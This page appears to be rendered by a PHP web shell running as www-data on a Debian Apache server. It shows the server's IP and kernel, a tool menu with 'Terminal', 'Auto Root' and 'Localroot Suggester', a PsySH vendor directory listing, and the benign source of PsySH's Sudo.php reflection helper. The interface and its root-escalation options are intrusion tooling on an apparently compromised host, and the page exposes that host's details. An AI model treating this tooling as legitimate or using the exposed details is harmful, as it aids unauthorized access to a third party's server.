Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iNetty /
vendor /
psy /
psysh /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
CodeCleaner
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Command
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Exception
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
ExecutionLoop
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Formatter
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Input
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Output
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Readline
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Reflection
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Sudo
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
TabCompletion
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Util
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
VarDumper
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
VersionUpdater
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
CodeCleaner.php
11.91
KB
-rw-r--r--
2022-04-21 14:22
ConfigPaths.php
10.53
KB
-rw-r--r--
2022-04-21 14:22
Configuration.php
51.69
KB
-rw-r--r--
2022-04-21 14:22
ConsoleColorFactory.php
757
B
-rw-r--r--
2022-04-21 14:22
Context.php
7.81
KB
-rw-r--r--
2022-04-21 14:22
ContextAware.php
567
B
-rw-r--r--
2022-04-21 14:22
EnvInterface.php
443
B
-rw-r--r--
2022-04-21 14:22
ExecutionClosure.php
2.25
KB
-rw-r--r--
2022-04-21 14:22
ExecutionLoopClosure.php
3.12
KB
-rw-r--r--
2022-04-21 14:22
ParserFactory.php
1.61
KB
-rw-r--r--
2022-04-21 14:22
Shell.php
43.99
KB
-rw-r--r--
2022-04-21 14:22
Sudo.php
5.01
KB
-rw-r--r--
2022-04-21 14:22
SuperglobalsEnv.php
620
B
-rw-r--r--
2022-04-21 14:22
functions.php
15.17
KB
-rw-r--r--
2022-04-21 14:22
Save
Rename
<?php /* * This file is part of Psy Shell. * * (c) 2012-2022 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; /** * Helpers for bypassing visibility restrictions, mostly used in code generated * by the `sudo` command. */ class Sudo { /** * Fetch a property of an object, bypassing visibility restrictions. * * @param object $object * @param string $property property name * * @return mixed Value of $object->property */ public static function fetchProperty($object, string $property) { $prop = static::getProperty(new \ReflectionObject($object), $property); return $prop->getValue($object); } /** * Assign the value of a property of an object, bypassing visibility restrictions. * * @param object $object * @param string $property property name * @param mixed $value * * @return mixed Value of $object->property */ public static function assignProperty($object, string $property, $value) { $prop = static::getProperty(new \ReflectionObject($object), $property); $prop->setValue($object, $value); return $value; } /** * Call a method on an object, bypassing visibility restrictions. * * @param object $object * @param string $method method name * @param mixed $args... * * @return mixed */ public static function callMethod($object, string $method, $args = null) { $args = \func_get_args(); $object = \array_shift($args); $method = \array_shift($args); $refl = new \ReflectionObject($object); $reflMethod = $refl->getMethod($method); $reflMethod->setAccessible(true); return $reflMethod->invokeArgs($object, $args); } /** * Fetch a property of a class, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $property property name * * @return mixed Value of $class::$property */ public static function fetchStaticProperty($class, string $property) { $prop = static::getProperty(new \ReflectionClass($class), $property); $prop->setAccessible(true); return $prop->getValue(); } /** * Assign the value of a static property of a class, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $property property name * @param mixed $value * * @return mixed Value of $class::$property */ public static function assignStaticProperty($class, string $property, $value) { $prop = static::getProperty(new \ReflectionClass($class), $property); $prop->setValue($value); return $value; } /** * Call a static method on a class, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $method method name * @param mixed $args... * * @return mixed */ public static function callStatic($class, string $method, $args = null) { $args = \func_get_args(); $class = \array_shift($args); $method = \array_shift($args); $refl = new \ReflectionClass($class); $reflMethod = $refl->getMethod($method); $reflMethod->setAccessible(true); return $reflMethod->invokeArgs(null, $args); } /** * Fetch a class constant, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $const constant name * * @return mixed */ public static function fetchClassConst($class, string $const) { $refl = new \ReflectionClass($class); do { if ($refl->hasConstant($const)) { return $refl->getConstant($const); } $refl = $refl->getParentClass(); } while ($refl !== false); return false; } /** * Get a ReflectionProperty from an object (or its parent classes). * * @throws \ReflectionException if neither the object nor any of its parents has this property * * @param \ReflectionClass $refl * @param string $property property name * * @return \ReflectionProperty */ private static function getProperty(\ReflectionClass $refl, string $property): \ReflectionProperty { $firstException = null; do { try { $prop = $refl->getProperty($property); $prop->setAccessible(true); return $prop; } catch (\ReflectionException $e) { if ($firstException === null) { $firstException = $e; } $refl = $refl->getParentClass(); } } while ($refl !== false); throw $firstException; } }